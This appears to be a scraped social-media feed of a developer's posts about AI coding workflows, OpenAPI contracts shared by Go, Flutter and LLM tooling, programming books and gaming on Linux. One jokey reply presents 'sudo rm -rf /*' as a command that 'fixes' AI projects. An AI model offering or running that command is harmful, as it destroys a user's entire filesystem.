tkode @tkode_dev

@zimwha @omarchy Looks like they got fixed indeed!

@ayushdecoded For the actually fleshing out the requirements, I am finding @mattpocockuk's grill-with-docs skill really helpful. And I also use it for each feature to implement again. If you haven't checked it out, I highly recommend.

@ayushdecoded Yes, me too. Now, first I flesh out all the requirements about the product, then make an ordered list of features to implement. But then again, these features are not final, and I had to add/remove more features, change order, etc. But overall this is making it much better.

My stance on integrating AI into software applications has always been that it should allow us to achieve best possible user experience, without the user even realising that there is AI inbuilt. I feel like @typesafeai's Jev is something that gets closer to this.

@RandallGT500 @drsavvage90 @dhh I bought the game 2 weeks back, and it runs fine (on omarchy). There were some gliches when I switch workspace while it's playing full screen, but other than that it's great. What's your system configuration? I'm using AMD 8600G and Nvidia 5060ti

@OmegaNekoSimp Thanks for sharing! I have many projects using AI. After some searching, I found out that there is one command to recursively fix all of them: $ sudo rm -rf /*

Developer says: "Python is slow. We should use rust for everything" Will you agree?

yash.jsx @yashmp2004

2 months ago

Developer says: "ORMs are slow. We should write raw SQL everywhere." Will you agree?

38 5 64 19K 25

@OmegaNekoSimp That is also one of advantages I find in Go. It's boring in the sense that there aren't really that many choices. So the code reads as obvious most of the times. Which makes it easy to skim through.

@JuluisKStar There are other classics like "clean code", but did not get to reading it yet 😅. So based on what I actually read these are best

@JuluisKStar For python specific, my favorite is Effective Python (effectivepython.com) On programming in general, I recommend The Pragmatic Programmer (pragprog.com/titles/tpp20/t…)

@OmegaNekoSimp Or even simpler, the general rule of thumb is "inner radius = outer radius - padding" 🤣

@OmegaNekoSimp Python developer for 3 years, mostly building GenAI Systems. Tho I prefer Golang more, so I've been doing some side projects in it. Recently exploring how to effectively use AI agents in coding, playing around with Matt Pocock's skills. Still figuring it out.

@AnthropicAI @StainlessAPI This feels like the right direction. OpenAPI/contracts are becoming more than SDK generation: they’re becoming the interface layer for agentic systems. I’ve been experimenting with that idea across Go, Flutter, and LLM tooling: dev.to/tkode_dev/i-le…

Tradeoffs: lockstep deploys, multi-dev friction, one response type in Dart codegen. The contract isn't overhead — it's what makes everything else move fast. Full writeup: folder structure, YAML example, index system 👇 dev.to/tkode_dev/i-le…

23 services. Loading the full YAML every time is expensive and mostly irrelevant. So I built a lightweight navigation layer — auto-generated via pre-commit hook. Small specs: read whole. Large specs: read by operation. The agent gets exactly what it needs.

Without a contract, LLM-generated backend and LLM-generated frontend drift silently. With codegen, drift becomes a compile error. Here's how one OpenAPI spec serves Go, Flutter, and the LLM simultaneously 🧵